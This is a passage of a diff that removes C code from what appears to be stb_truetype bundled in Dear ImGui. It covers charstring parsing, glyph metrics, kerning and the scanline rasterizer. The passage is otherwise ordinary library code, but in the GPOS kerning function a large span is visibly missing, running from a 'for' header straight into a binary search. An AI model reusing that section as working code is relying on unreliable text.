s[sp-1]); - break; - case 0x04: // vmoveto - in_header = 0; - if (sp < 1) return STBTT__CSERR("vmoveto stack"); - stbtt__csctx_rmove_to(c, 0, s[sp-1]); - break; - case 0x16: // hmoveto - in_header = 0; - if (sp < 1) return STBTT__CSERR("hmoveto stack"); - stbtt__csctx_rmove_to(c, s[sp-1], 0); - break; - - case 0x05: // rlineto - if (sp < 2) return STBTT__CSERR("rlineto stack"); - for (; i + 1 < sp; i += 2) - stbtt__csctx_rline_to(c, s[i], s[i+1]); - break; - - // hlineto/vlineto and vhcurveto/hvcurveto alternate horizontal and vertical - // starting from a different place. - - case 0x07: // vlineto - if (sp < 1) return STBTT__CSERR("vlineto stack"); - goto vlineto; - case 0x06: // hlineto - if (sp < 1) return STBTT__CSERR("hlineto stack"); - for (;;) { - if (i >= sp) break; - stbtt__csctx_rline_to(c, s[i], 0); - i++; - vlineto: - if (i >= sp) break; - stbtt__csctx_rline_to(c, 0, s[i]); - i++; - } - break; - - case 0x1F: // hvcurveto - if (sp < 4) return STBTT__CSERR("hvcurveto stack"); - goto hvcurveto; - case 0x1E: // vhcurveto - if (sp < 4) return STBTT__CSERR("vhcurveto stack"); - for (;;) { - if (i + 3 >= sp) break; - stbtt__csctx_rccurve_to(c, 0, s[i], s[i+1], s[i+2], s[i+3], (sp - i == 5) ? s[i + 4] : 0.0f); - i += 4; - hvcurveto: - if (i + 3 >= sp) break; - stbtt__csctx_rccurve_to(c, s[i], 0, s[i+1], s[i+2], (sp - i == 5) ? s[i+4] : 0.0f, s[i+3]); - i += 4; - } - break; - - case 0x08: // rrcurveto - if (sp < 6) return STBTT__CSERR("rcurveline stack"); - for (; i + 5 < sp; i += 6) - stbtt__csctx_rccurve_to(c, s[i], s[i+1], s[i+2], s[i+3], s[i+4], s[i+5]); - break; - - case 0x18: // rcurveline - if (sp < 8) return STBTT__CSERR("rcurveline stack"); - for (; i + 5 < sp - 2; i += 6) - stbtt__csctx_rccurve_to(c, s[i], s[i+1], s[i+2], s[i+3], s[i+4], s[i+5]); - if (i + 1 >= sp) return STBTT__CSERR("rcurveline stack"); - stbtt__csctx_rline_to(c, s[i], s[i+1]); - break; - - case 0x19: // rlinecurve - if (sp < 8) return STBTT__CSERR("rlinecurve stack"); - for (; i + 1 < sp - 6; i += 2) - stbtt__csctx_rline_to(c, s[i], s[i+1]); - if (i + 5 >= sp) return STBTT__CSERR("rlinecurve stack"); - stbtt__csctx_rccurve_to(c, s[i], s[i+1], s[i+2], s[i+3], s[i+4], s[i+5]); - break; - - case 0x1A: // vvcurveto - case 0x1B: // hhcurveto - if (sp < 4) return STBTT__CSERR("(vv|hh)curveto stack"); - f = 0.0; - if (sp & 1) { f = s[i]; i++; } - for (; i + 3 < sp; i += 4) { - if (b0 == 0x1B) - stbtt__csctx_rccurve_to(c, s[i], f, s[i+1], s[i+2], s[i+3], 0.0); - else - stbtt__csctx_rccurve_to(c, f, s[i], s[i+1], s[i+2], 0.0, s[i+3]); - f = 0.0; - } - break; - - case 0x0A: // callsubr - if (!has_subrs) { - if (info->fdselect.size) - subrs = stbtt__cid_get_glyph_subrs(info, glyph_index); - has_subrs = 1; - } - // fallthrough - case 0x1D: // callgsubr - if (sp < 1) return STBTT__CSERR("call(g|)subr stack"); - v = (int) s[--sp]; - if (subr_stack_height >= 10) return STBTT__CSERR("recursion limit"); - subr_stack[subr_stack_height++] = b; - b = stbtt__get_subr(b0 == 0x0A ? subrs : info->gsubrs, v); - if (b.size == 0) return STBTT__CSERR("subr not found"); - b.cursor = 0; - clear_stack = 0; - break; - - case 0x0B: // return - if (subr_stack_height <= 0) return STBTT__CSERR("return outside subr"); - b = subr_stack[--subr_stack_height]; - clear_stack = 0; - break; - - case 0x0E: // endchar - stbtt__csctx_close_shape(c); - return 1; - - case 0x0C: { // two-byte escape - float dx1, dx2, dx3, dx4, dx5, dx6, dy1, dy2, dy3, dy4, dy5, dy6; - float dx, dy; - int b1 = stbtt__buf_get8(&b); - switch (b1) { - // @TODO These "flex" implementations ignore the flex-depth and resolution, - // and always draw beziers. - case 0x22: // hflex - if (sp < 7) return STBTT__CSERR("hflex stack"); - dx1 = s[0]; - dx2 = s[1]; - dy2 = s[2]; - dx3 = s[3]; - dx4 = s[4]; - dx5 = s[5]; - dx6 = s[6]; - stbtt__csctx_rccurve_to(c, dx1, 0, dx2, dy2, dx3, 0); - stbtt__csctx_rccurve_to(c, dx4, 0, dx5, -dy2, dx6, 0); - break; - - case 0x23: // flex - if (sp < 13) return STBTT__CSERR("flex stack"); - dx1 = s[0]; - dy1 = s[1]; - dx2 = s[2]; - dy2 = s[3]; - dx3 = s[4]; - dy3 = s[5]; - dx4 = s[6]; - dy4 = s[7]; - dx5 = s[8]; - dy5 = s[9]; - dx6 = s[10]; - dy6 = s[11]; - //fd is s[12] - stbtt__csctx_rccurve_to(c, dx1, dy1, dx2, dy2, dx3, dy3); - stbtt__csctx_rccurve_to(c, dx4, dy4, dx5, dy5, dx6, dy6); - break; - - case 0x24: // hflex1 - if (sp < 9) return STBTT__CSERR("hflex1 stack"); - dx1 = s[0]; - dy1 = s[1]; - dx2 = s[2]; - dy2 = s[3]; - dx3 = s[4]; - dx4 = s[5]; - dx5 = s[6]; - dy5 = s[7]; - dx6 = s[8]; - stbtt__csctx_rccurve_to(c, dx1, dy1, dx2, dy2, dx3, 0); - stbtt__csctx_rccurve_to(c, dx4, 0, dx5, dy5, dx6, -(dy1+dy2+dy5)); - break; - - case 0x25: // flex1 - if (sp < 11) return STBTT__CSERR("flex1 stack"); - dx1 = s[0]; - dy1 = s[1]; - dx2 = s[2]; - dy2 = s[3]; - dx3 = s[4]; - dy3 = s[5]; - dx4 = s[6]; - dy4 = s[7]; - dx5 = s[8]; - dy5 = s[9]; - dx6 = dy6 = s[10]; - dx = dx1+dx2+dx3+dx4+dx5; - dy = dy1+dy2+dy3+dy4+dy5; - if (STBTT_fabs(dx) > STBTT_fabs(dy)) - dy6 = -dy; - else - dx6 = -dx; - stbtt__csctx_rccurve_to(c, dx1, dy1, dx2, dy2, dx3, dy3); - stbtt__csctx_rccurve_to(c, dx4, dy4, dx5, dy5, dx6, dy6); - break; - - default: - return STBTT__CSERR("unimplemented"); - } - } break; - - default: - if (b0 != 255 && b0 != 28 && (b0 < 32 || b0 > 254)) //-V560 - return STBTT__CSERR("reserved operator"); - - // push immediate - if (b0 == 255) { - f = (float)(stbtt_int32)stbtt__buf_get32(&b) / 0x10000; - } else { - stbtt__buf_skip(&b, -1); - f = (float)(stbtt_int16)stbtt__cff_int(&b); - } - if (sp >= 48) return STBTT__CSERR("push stack overflow"); - s[sp++] = f; - clear_stack = 0; - break; - } - if (clear_stack) sp = 0; - } - return STBTT__CSERR("no endchar"); - -#undef STBTT__CSERR -} - -static int stbtt__GetGlyphShapeT2(const stbtt_fontinfo *info, int glyph_index, stbtt_vertex **pvertices) -{ - // runs the charstring twice, once to count and once to output (to avoid realloc) - stbtt__csctx count_ctx = STBTT__CSCTX_INIT(1); - stbtt__csctx output_ctx = STBTT__CSCTX_INIT(0); - if (stbtt__run_charstring(info, glyph_index, &count_ctx)) { - *pvertices = (stbtt_vertex*)STBTT_malloc(count_ctx.num_vertices*sizeof(stbtt_vertex), info->userdata); - output_ctx.pvertices = *pvertices; - if (stbtt__run_charstring(info, glyph_index, &output_ctx)) { - STBTT_assert(output_ctx.num_vertices == count_ctx.num_vertices); - return output_ctx.num_vertices; - } - } - *pvertices = NULL; - return 0; -} - -static int stbtt__GetGlyphInfoT2(const stbtt_fontinfo *info, int glyph_index, int *x0, int *y0, int *x1, int *y1) -{ - stbtt__csctx c = STBTT__CSCTX_INIT(1); - int r = stbtt__run_charstring(info, glyph_index, &c); - if (x0) *x0 = r ? c.min_x : 0; - if (y0) *y0 = r ? c.min_y : 0; - if (x1) *x1 = r ? c.max_x : 0; - if (y1) *y1 = r ? c.max_y : 0; - return r ? c.num_vertices : 0; -} - -STBTT_DEF int stbtt_GetGlyphShape(const stbtt_fontinfo *info, int glyph_index, stbtt_vertex **pvertices) -{ - if (!info->cff.size) - return stbtt__GetGlyphShapeTT(info, glyph_index, pvertices); - else - return stbtt__GetGlyphShapeT2(info, glyph_index, pvertices); -} - -STBTT_DEF void stbtt_GetGlyphHMetrics(const stbtt_fontinfo *info, int glyph_index, int *advanceWidth, int *leftSideBearing) -{ - stbtt_uint16 numOfLongHorMetrics = ttUSHORT(info->data+info->hhea + 34); - if (glyph_index < numOfLongHorMetrics) { - if (advanceWidth) *advanceWidth = ttSHORT(info->data + info->hmtx + 4*glyph_index); - if (leftSideBearing) *leftSideBearing = ttSHORT(info->data + info->hmtx + 4*glyph_index + 2); - } else { - if (advanceWidth) *advanceWidth = ttSHORT(info->data + info->hmtx + 4*(numOfLongHorMetrics-1)); - if (leftSideBearing) *leftSideBearing = ttSHORT(info->data + info->hmtx + 4*numOfLongHorMetrics + 2*(glyph_index - numOfLongHorMetrics)); - } -} - -static int stbtt__GetGlyphKernInfoAdvance(const stbtt_fontinfo *info, int glyph1, int glyph2) -{ - stbtt_uint8 *data = info->data + info->kern; - stbtt_uint32 needle, straw; - int l, r, m; - - // we only look at the first table. it must be 'horizontal' and format 0. - if (!info->kern) - return 0; - if (ttUSHORT(data+2) < 1) // number of tables, need at least 1 - return 0; - if (ttUSHORT(data+8) != 1) // horizontal flag must be set in format - return 0; - - l = 0; - r = ttUSHORT(data+10) - 1; - needle = glyph1 << 16 | glyph2; - while (l <= r) { - m = (l + r) >> 1; - straw = ttULONG(data+18+(m*6)); // note: unaligned read - if (needle < straw) - r = m - 1; - else if (needle > straw) - l = m + 1; - else - return ttSHORT(data+22+(m*6)); - } - return 0; -} - -static stbtt_int32 stbtt__GetCoverageIndex(stbtt_uint8 *coverageTable, int glyph) -{ - stbtt_uint16 coverageFormat = ttUSHORT(coverageTable); - switch(coverageFormat) { - case 1: { - stbtt_uint16 glyphCount = ttUSHORT(coverageTable + 2); - - // Binary search. - stbtt_int32 l=0, r=glyphCount-1, m; - int straw, needle=glyph; - while (l <= r) { - stbtt_uint8 *glyphArray = coverageTable + 4; - stbtt_uint16 glyphID; - m = (l + r) >> 1; - glyphID = ttUSHORT(glyphArray + 2 * m); - straw = glyphID; - if (needle < straw) - r = m - 1; - else if (needle > straw) - l = m + 1; - else { - return m; - } - } - } break; - - case 2: { - stbtt_uint16 rangeCount = ttUSHORT(coverageTable + 2); - stbtt_uint8 *rangeArray = coverageTable + 4; - - // Binary search. - stbtt_int32 l=0, r=rangeCount-1, m; - int strawStart, strawEnd, needle=glyph; - while (l <= r) { - stbtt_uint8 *rangeRecord; - m = (l + r) >> 1; - rangeRecord = rangeArray + 6 * m; - strawStart = ttUSHORT(rangeRecord); - strawEnd = ttUSHORT(rangeRecord + 2); - if (needle < strawStart) - r = m - 1; - else if (needle > strawEnd) - l = m + 1; - else { - stbtt_uint16 startCoverageIndex = ttUSHORT(rangeRecord + 4); - return startCoverageIndex + glyph - strawStart; - } - } - } break; - - default: { - // There are no other cases. - STBTT_assert(0); - } break; - } - - return -1; -} - -static stbtt_int32 stbtt__GetGlyphClass(stbtt_uint8 *classDefTable, int glyph) -{ - stbtt_uint16 classDefFormat = ttUSHORT(classDefTable); - switch(classDefFormat) - { - case 1: { - stbtt_uint16 startGlyphID = ttUSHORT(classDefTable + 2); - stbtt_uint16 glyphCount = ttUSHORT(classDefTable + 4); - stbtt_uint8 *classDef1ValueArray = classDefTable + 6; - - if (glyph >= startGlyphID && glyph < startGlyphID + glyphCount) - return (stbtt_int32)ttUSHORT(classDef1ValueArray + 2 * (glyph - startGlyphID)); - - // [DEAR IMGUI] Commented to fix static analyzer warning - //classDefTable = classDef1ValueArray + 2 * glyphCount; - } break; - - case 2: { - stbtt_uint16 classRangeCount = ttUSHORT(classDefTable + 2); - stbtt_uint8 *classRangeRecords = classDefTable + 4; - - // Binary search. - stbtt_int32 l=0, r=classRangeCount-1, m; - int strawStart, strawEnd, needle=glyph; - while (l <= r) { - stbtt_uint8 *classRangeRecord; - m = (l + r) >> 1; - classRangeRecord = classRangeRecords + 6 * m; - strawStart = ttUSHORT(classRangeRecord); - strawEnd = ttUSHORT(classRangeRecord + 2); - if (needle < strawStart) - r = m - 1; - else if (needle > strawEnd) - l = m + 1; - else - return (stbtt_int32)ttUSHORT(classRangeRecord + 4); - } - - // [DEAR IMGUI] Commented to fix static analyzer warning - //classDefTable = classRangeRecords + 6 * classRangeCount; - } break; - - default: { - // There are no other cases. - STBTT_assert(0); - } break; - } - - return -1; -} - -// Define to STBTT_assert(x) if you want to break on unimplemented formats. -#define STBTT_GPOS_TODO_assert(x) - -static stbtt_int32 stbtt__GetGlyphGPOSInfoAdvance(const stbtt_fontinfo *info, int glyph1, int glyph2) -{ - stbtt_uint16 lookupListOffset; - stbtt_uint8 *lookupList; - stbtt_uint16 lookupCount; - stbtt_uint8 *data; - stbtt_int32 i; - - if (!info->gpos) return 0; - - data = info->data + info->gpos; - - if (ttUSHORT(data+0) != 1) return 0; // Major version 1 - if (ttUSHORT(data+2) != 0) return 0; // Minor version 0 - - lookupListOffset = ttUSHORT(data+8); - lookupList = data + lookupListOffset; - lookupCount = ttUSHORT(lookupList); - - for (i=0; i> 1; - pairValue = pairValueArray + (2 + valueRecordPairSizeInBytes) * m; - secondGlyph = ttUSHORT(pairValue); - straw = secondGlyph; - if (needle < straw) - r = m - 1; - else if (needle > straw) - l = m + 1; - else { - stbtt_int16 xAdvance = ttSHORT(pairValue + 2); - return xAdvance; - } - } - } break; - - case 2: { - stbtt_uint16 valueFormat1 = ttUSHORT(table + 4); - stbtt_uint16 valueFormat2 = ttUSHORT(table + 6); - - stbtt_uint16 classDef1Offset = ttUSHORT(table + 8); - stbtt_uint16 classDef2Offset = ttUSHORT(table + 10); - int glyph1class = stbtt__GetGlyphClass(table + classDef1Offset, glyph1); - int glyph2class = stbtt__GetGlyphClass(table + classDef2Offset, glyph2); - - stbtt_uint16 class1Count = ttUSHORT(table + 12); - stbtt_uint16 class2Count = ttUSHORT(table + 14); - STBTT_assert(glyph1class < class1Count); - STBTT_assert(glyph2class < class2Count); - - // TODO: Support more formats. - STBTT_GPOS_TODO_assert(valueFormat1 == 4); - if (valueFormat1 != 4) return 0; - STBTT_GPOS_TODO_assert(valueFormat2 == 0); - if (valueFormat2 != 0) return 0; - - if (glyph1class >= 0 && glyph1class < class1Count && glyph2class >= 0 && glyph2class < class2Count) { - stbtt_uint8 *class1Records = table + 16; - stbtt_uint8 *class2Records = class1Records + 2 * (glyph1class * class2Count); - stbtt_int16 xAdvance = ttSHORT(class2Records + 2 * glyph2class); - return xAdvance; - } - } break; - - default: { - // There are no other cases. - STBTT_assert(0); - break; - } // [DEAR IMGUI] removed ; - } - } - break; - } // [DEAR IMGUI] removed ; - - default: - // TODO: Implement other stuff. - break; - } - } - - return 0; -} - -STBTT_DEF int stbtt_GetGlyphKernAdvance(const stbtt_fontinfo *info, int g1, int g2) -{ - int xAdvance = 0; - - if (info->gpos) - xAdvance += stbtt__GetGlyphGPOSInfoAdvance(info, g1, g2); - - if (info->kern) - xAdvance += stbtt__GetGlyphKernInfoAdvance(info, g1, g2); - - return xAdvance; -} - -STBTT_DEF int stbtt_GetCodepointKernAdvance(const stbtt_fontinfo *info, int ch1, int ch2) -{ - if (!info->kern && !info->gpos) // if no kerning table, don't waste time looking up both codepoint->glyphs - return 0; - return stbtt_GetGlyphKernAdvance(info, stbtt_FindGlyphIndex(info,ch1), stbtt_FindGlyphIndex(info,ch2)); -} - -STBTT_DEF void stbtt_GetCodepointHMetrics(const stbtt_fontinfo *info, int codepoint, int *advanceWidth, int *leftSideBearing) -{ - stbtt_GetGlyphHMetrics(info, stbtt_FindGlyphIndex(info,codepoint), advanceWidth, leftSideBearing); -} - -STBTT_DEF void stbtt_GetFontVMetrics(const stbtt_fontinfo *info, int *ascent, int *descent, int *lineGap) -{ - if (ascent ) *ascent = ttSHORT(info->data+info->hhea + 4); - if (descent) *descent = ttSHORT(info->data+info->hhea + 6); - if (lineGap) *lineGap = ttSHORT(info->data+info->hhea + 8); -} - -STBTT_DEF int stbtt_GetFontVMetricsOS2(const stbtt_fontinfo *info, int *typoAscent, int *typoDescent, int *typoLineGap) -{ - int tab = stbtt__find_table(info->data, info->fontstart, "OS/2"); - if (!tab) - return 0; - if (typoAscent ) *typoAscent = ttSHORT(info->data+tab + 68); - if (typoDescent) *typoDescent = ttSHORT(info->data+tab + 70); - if (typoLineGap) *typoLineGap = ttSHORT(info->data+tab + 72); - return 1; -} - -STBTT_DEF void stbtt_GetFontBoundingBox(const stbtt_fontinfo *info, int *x0, int *y0, int *x1, int *y1) -{ - *x0 = ttSHORT(info->data + info->head + 36); - *y0 = ttSHORT(info->data + info->head + 38); - *x1 = ttSHORT(info->data + info->head + 40); - *y1 = ttSHORT(info->data + info->head + 42); -} - -STBTT_DEF float stbtt_ScaleForPixelHeight(const stbtt_fontinfo *info, float height) -{ - int fheight = ttSHORT(info->data + info->hhea + 4) - ttSHORT(info->data + info->hhea + 6); - return (float) height / fheight; -} - -STBTT_DEF float stbtt_ScaleForMappingEmToPixels(const stbtt_fontinfo *info, float pixels) -{ - int unitsPerEm = ttUSHORT(info->data + info->head + 18); - return pixels / unitsPerEm; -} - -STBTT_DEF void stbtt_FreeShape(const stbtt_fontinfo *info, stbtt_vertex *v) -{ - STBTT_free(v, info->userdata); -} - -////////////////////////////////////////////////////////////////////////////// -// -// antialiasing software rasterizer -// - -STBTT_DEF void stbtt_GetGlyphBitmapBoxSubpixel(const stbtt_fontinfo *font, int glyph, float scale_x, float scale_y,float shift_x, float shift_y, int *ix0, int *iy0, int *ix1, int *iy1) -{ - int x0=0,y0=0,x1,y1; // =0 suppresses compiler warning - if (!stbtt_GetGlyphBox(font, glyph, &x0,&y0,&x1,&y1)) { - // e.g. space character - if (ix0) *ix0 = 0; - if (iy0) *iy0 = 0; - if (ix1) *ix1 = 0; - if (iy1) *iy1 = 0; - } else { - // move to integral bboxes (treating pixels as little squares, what pixels get touched)? - if (ix0) *ix0 = STBTT_ifloor( x0 * scale_x + shift_x); - if (iy0) *iy0 = STBTT_ifloor(-y1 * scale_y + shift_y); - if (ix1) *ix1 = STBTT_iceil ( x1 * scale_x + shift_x); - if (iy1) *iy1 = STBTT_iceil (-y0 * scale_y + shift_y); - } -} - -STBTT_DEF void stbtt_GetGlyphBitmapBox(const stbtt_fontinfo *font, int glyph, float scale_x, float scale_y, int *ix0, int *iy0, int *ix1, int *iy1) -{ - stbtt_GetGlyphBitmapBoxSubpixel(font, glyph, scale_x, scale_y,0.0f,0.0f, ix0, iy0, ix1, iy1); -} - -STBTT_DEF void stbtt_GetCodepointBitmapBoxSubpixel(const stbtt_fontinfo *font, int codepoint, float scale_x, float scale_y, float shift_x, float shift_y, int *ix0, int *iy0, int *ix1, int *iy1) -{ - stbtt_GetGlyphBitmapBoxSubpixel(font, stbtt_FindGlyphIndex(font,codepoint), scale_x, scale_y,shift_x,shift_y, ix0,iy0,ix1,iy1); -} - -STBTT_DEF void stbtt_GetCodepointBitmapBox(const stbtt_fontinfo *font, int codepoint, float scale_x, float scale_y, int *ix0, int *iy0, int *ix1, int *iy1) -{ - stbtt_GetCodepointBitmapBoxSubpixel(font, codepoint, scale_x, scale_y,0.0f,0.0f, ix0,iy0,ix1,iy1); -} - -////////////////////////////////////////////////////////////////////////////// -// -// Rasterizer - -typedef struct stbtt__hheap_chunk -{ - struct stbtt__hheap_chunk *next; -} stbtt__hheap_chunk; - -typedef struct stbtt__hheap -{ - struct stbtt__hheap_chunk *head; - void *first_free; - int num_remaining_in_head_chunk; -} stbtt__hheap; - -static void *stbtt__hheap_alloc(stbtt__hheap *hh, size_t size, void *userdata) -{ - if (hh->first_free) { - void *p = hh->first_free; - hh->first_free = * (void **) p; - return p; - } else { - if (hh->num_remaining_in_head_chunk == 0) { - int count = (size < 32 ? 2000 : size < 128 ? 800 : 100); - stbtt__hheap_chunk *c = (stbtt__hheap_chunk *) STBTT_malloc(sizeof(stbtt__hheap_chunk) + size * count, userdata); - if (c == NULL) - return NULL; - c->next = hh->head; - hh->head = c; - hh->num_remaining_in_head_chunk = count; - } - --hh->num_remaining_in_head_chunk; - return (char *) (hh->head) + sizeof(stbtt__hheap_chunk) + size * hh->num_remaining_in_head_chunk; - } -} - -static void stbtt__hheap_free(stbtt__hheap *hh, void *p) -{ - *(void **) p = hh->first_free; - hh->first_free = p; -} - -static void stbtt__hheap_cleanup(stbtt__hheap *hh, void *userdata) -{ - stbtt__hheap_chunk *c = hh->head; - while (c) { - stbtt__hheap_chunk *n = c->next; - STBTT_free(c, userdata); - c = n; - } -} - -typedef struct stbtt__edge { - float x0,y0, x1,y1; - int invert; -} stbtt__edge; - - -typedef struct stbtt__active_edge -{ - struct stbtt__active_edge *next; - #if STBTT_RASTERIZER_VERSION==1 - int x,dx; - float ey; - int direction; - #elif STBTT_RASTERIZER_VERSION==2 - float fx,fdx,fdy; - float direction; - float sy; - float ey; - #else - #error "Unrecognized value of STBTT_RASTERIZER_VERSION" - #endif -} stbtt__active_edge; - -#if STBTT_RASTERIZER_VERSION == 1 -#define STBTT_FIXSHIFT 10 -#define STBTT_FIX (1 << STBTT_FIXSHIFT) -#define STBTT_FIXMASK (STBTT_FIX-1) - -static stbtt__active_edge *stbtt__new_active(stbtt__hheap *hh, stbtt__edge *e, int off_x, float start_point, void *userdata) -{ - stbtt__active_edge *z = (stbtt__active_edge *) stbtt__hheap_alloc(hh, sizeof(*z), userdata); - float dxdy = (e->x1 - e->x0) / (e->y1 - e->y0); - STBTT_assert(z != NULL); - if (!z) return z; - - // round dx down to avoid overshooting - if (dxdy < 0) - z->dx = -STBTT_ifloor(STBTT_FIX * -dxdy); - else - z->dx = STBTT_ifloor(STBTT_FIX * dxdy); - - z->x = STBTT_ifloor(STBTT_FIX * e->x0 + z->dx * (start_point - e->y0)); // use z->dx so when we offset later it's by the same amount - z->x -= off_x * STBTT_FIX; - - z->ey = e->y1; - z->next = 0; - z->direction = e->invert ? 1 : -1; - return z; -} -#elif STBTT_RASTERIZER_VERSION == 2 -static stbtt__active_edge *stbtt__new_active(stbtt__hheap *hh, stbtt__edge *e, int off_x, float start_point, void *userdata) -{ - stbtt__active_edge *z = (stbtt__active_edge *) stbtt__hheap_alloc(hh, sizeof(*z), userdata); - float dxdy = (e->x1 - e->x0) / (e->y1 - e->y0); - STBTT_assert(z != NULL); - //STBTT_assert(e->y0 <= start_point); - if (!z) return z; - z->fdx = dxdy; - z->fdy = dxdy != 0.0f ? (1.0f/dxdy) : 0.0f; - z->fx = e->x0 + dxdy * (start_point - e->y0); - z->fx -= off_x; - z->direction = e->invert ? 1.0f : -1.0f; - z->sy = e->y0; - z->ey = e->y1; - z->next = 0; - return z; -} -#else -#error "Unrecognized value of STBTT_RASTERIZER_VERSION" -#endif - -#if STBTT_RASTERIZER_VERSION == 1 -// note: this routine clips fills that extend off the edges... ideally this -// wouldn't happen, but it could happen if the truetype glyph bounding boxes -// are wrong, or if the user supplies a too-small bitmap -static void stbtt__fill_active_edges(unsigned char *scanline, int len, stbtt__active_edge *e, int max_weight) -{ - // non-zero winding fill - int x0=0, w=0; - - while (e) { - if (w == 0) { - // if we're currently at zero, we need to record the edge start point - x0 = e->x; w += e->direction; - } else { - int x1 = e->x; w += e->direction; - // if we went to zero, we need to draw - if (w == 0) { - int i = x0 >> STBTT_FIXSHIFT; - int j = x1 >> STBTT_FIXSHIFT; - - if (i < len && j >= 0) { - if (i == j) { - // x0,x1 are the same pixel, so compute combined coverage - scanline[i] = scanline[i] + (stbtt_uint8) ((x1 - x0) * max_weight >> STBTT_FIXSHIFT); - } else { - if (i >= 0) // add antialiasing for x0 - scanline[i] = scanline[i] + (stbtt_uint8) (((STBTT_FIX - (x0 & STBTT_FIXMASK)) * max_weight) >> STBTT_FIXSHIFT); - else - i = -1; // clip - - if (j < len) // add antialiasing for x1 - scanline[j] = scanline[j] + (stbtt_uint8) (((x1 & STBTT_FIXMASK) * max_weight) >> STBTT_FIXSHIFT); - else - j = len; // clip - - for (++i; i < j; ++i) // fill pixels between x0 and x1 - scanline[i] = scanline[i] + (stbtt_uint8) max_weight; - } - } - } - } - - e = e->next; - } -} - -static void stbtt__rasterize_sorted_edges(stbtt__bitmap *result, stbtt__edge *e, int n, int vsubsample, int off_x, int off_y, void *userdata) -{ - stbtt__hheap hh = { 0, 0, 0 }; - stbtt__active_edge *active = NULL; - int y,j=0; - int max_weight = (255 / vsubsample); // weight per vertical scanline - int s; // vertical subsample index - unsigned char scanline_data[512], *scanline; - - if (result->w > 512) - scanline = (unsigned char *) STBTT_malloc(result->w, userdata); - else - scanline = scanline_data; - - y = off_y * vsubsample; - e[n].y0 = (off_y + result->h) * (float) vsubsample + 1; - - while (j < result->h) { - STBTT_memset(scanline, 0, result->w); - for (s=0; s < vsubsample; ++s) { - // find center of pixel for this scanline - float scan_y = y + 0.5f; - stbtt__active_edge **step = &active; - - // update all active edges; - // remove all active edges that terminate before the center of this scanline - while (*step) { - stbtt__active_edge * z = *step; - if (z->ey <= scan_y) { - *step = z->next; // delete from list - STBTT_assert(z->direction); - z->direction = 0; - stbtt__hheap_free(&hh, z); - } else { - z->x += z->dx; // advance to position for current scanline - step = &((*step)->next); // advance through list - } - } - - // resort the list if needed - for(;;) { - int changed=0; - step = &active; - while (*step && (*step)->next) { - if ((*step)->x > (*step)->next->x) { - stbtt__active_edge *t = *step; - stbtt__active_edge *q = t->next; - - t->next = q->next; - q->next = t; - *step = q; - changed = 1; - } - step = &(*step)->next; - } - if (!changed) break; - } - - // insert all edges that start before the center of this scanline -- omit ones that also end on this scanline - while (e->y0 <= scan_y) { - if (e->y1 > scan_y) { - stbtt__active_edge *z = stbtt__new_active(&hh, e, off_x, scan_y, userdata); - if (z != NULL) { - // find insertion point - if (active == NULL) - active = z; - else if (z->x < active->x) { - // insert at front - z->next = active; - active = z; - } else { - // find thing to insert AFTER - stbtt__active_edge *p = active; - while (p->next && p->next->x < z->x) - p = p->next; - // at this point, p->next->x is NOT < z->x - z->next = p->next; - p->next = z; - } - } - } - ++e; - } - - // now process all active edges in XOR fashion - if (active) - stbtt__fill_active_edges(scanline, result->w, active, max_weight); - - ++y; - } - STBTT_memcpy(result->pixels + j * result->stride, scanline, result->w); - ++j; - } - - stbtt__hheap_cleanup(&hh, userdata); - - if (scanline != scanline_data) - STBTT_free(scanline, userdata); -} - -#elif STBTT_RASTERIZER_VERSION == 2 - -// the edge passed in here does not cross the vertical line at x or the vertical line at x+1 -// (i.e. it has already been clipped to those) -static void stbtt__handle_clipped_edge(float *scanline, int x, stbtt__active_edge *e, float x0, float y0, float x1, float y1) -{ - if (y0 == y1) return; - STBTT_assert(y0 < y1); - STBTT_assert(e->sy <= e->ey); - if (y0 > e->ey) return; - if (y1 < e->sy) return; - if (y0 < e->sy) { - x0 += (x1-x0) * (e->sy - y0) / (y1-y0); - y0 = e->sy; - } - if (y1 > e->ey) { - x1 += (x1-x0) * (e->ey - y1) / (y1-y0); - y1 = e->ey; - } - - if (x0 == x) - STBTT_assert(x1 <= x+1); - else if (x0 == x+1) - STBTT_assert(x1 >= x); - else if (x0 <= x) - STBTT_assert(x1 <= x); - else if (x0 >= x+1) - STBTT_assert(x1 >= x+1); - else - STBTT_assert(x1 >= x && x1 <= x+1); - - if (x0 <= x && x1 <= x) - scanline[x] += e->direction * (y1-y0); - else if (x0 >= x+1 && x1 >= x+1) - ; - else { - STBTT_assert(x0 >= x && x0 <= x+1 && x1 >= x && x1 <= x+1); - scanline[x] += e->direction * (y1-y0) * (1-((x0-x)+(x1-x))/2); // coverage = 1 - average x position - } -} - -static void stbtt__fill_active_edges_new(float *scanline, float *scanline_fill, int len, stbtt__active_edge *e, float y_top) -{ - float y_bottom = y_top+1; - - while (e) { - // brute force every pixel - - // compute intersection points with top & bottom - STBTT_assert(e->ey >= y_top); - - if (e->fdx == 0) { - float x0 = e->fx; - if (x0 < len) { - if (x0 >= 0) { - stbtt__handle_clipped_edge(scanline,(int) x0,e, x0,y_top, x0,y_bottom); - stbtt__handle_clipped_edge(scanline_fill-1,(int) x0+1,e, x0,y_top, x0,y_bottom); - } else { - stbtt__handle_clipped_edge(scanline_fill-1,0,e, x0,y_top, x0,y_bottom); - } - } - } else { - float x0 = e->fx; - float dx = e->fdx; - float xb = x0 + dx; - float x_top, x_bottom; - float sy0,sy1; - float dy = e->fdy; - STBTT_assert(e->sy <= y_bottom && e->ey >= y_top); - - // compute endpoints of line segment clipped to this scanline (if the - // line segment starts on this scanline. x0 is the intersection of the - // line with y_top, but that may be off the line segment. - if (e->sy > y_top) { - x_top = x0 + dx * (e->sy - y_top); - sy0 = e->sy; - } else { - x_top = x0; - sy0 = y_top; - } - if (e->ey < y_bottom) { - x_bottom = x0 + dx * (e->ey - y_top); - sy1 = e->ey; - } else { - x_bottom = xb; - sy1 = y_bottom; - } - - if (x_top >= 0 && x_bottom >= 0 && x_top < len && x_bottom < len) { - // from here on, we don't have to range check x values - - if ((int) x_top == (int) x_bottom) { - float height; - // simple case, only spans one pixel - int x = (int) x_top; - height = sy1 - sy0; - STBTT_assert(x >= 0 && x < len); - scanline[x] += e->direction * (1-((x_top - x) + (x_bottom-x))/2) * height; - scanline_fill[x] += e->direction * height; // everything right of this pixel is filled - } else { - int x,x1,x2; - float y_crossing, step, sign, area; - // covers 2+ pixels - if (x_top > x_bottom) { - // flip scanline vertically; signed area is the same - float t; - sy0 = y_bottom - (sy0 - y_top); - sy1 = y_bottom - (sy1 - y_top); - t = sy0, sy0 = sy1, sy1 = t; - t = x_bottom, x_bottom = x_top, x_top = t; - dx = 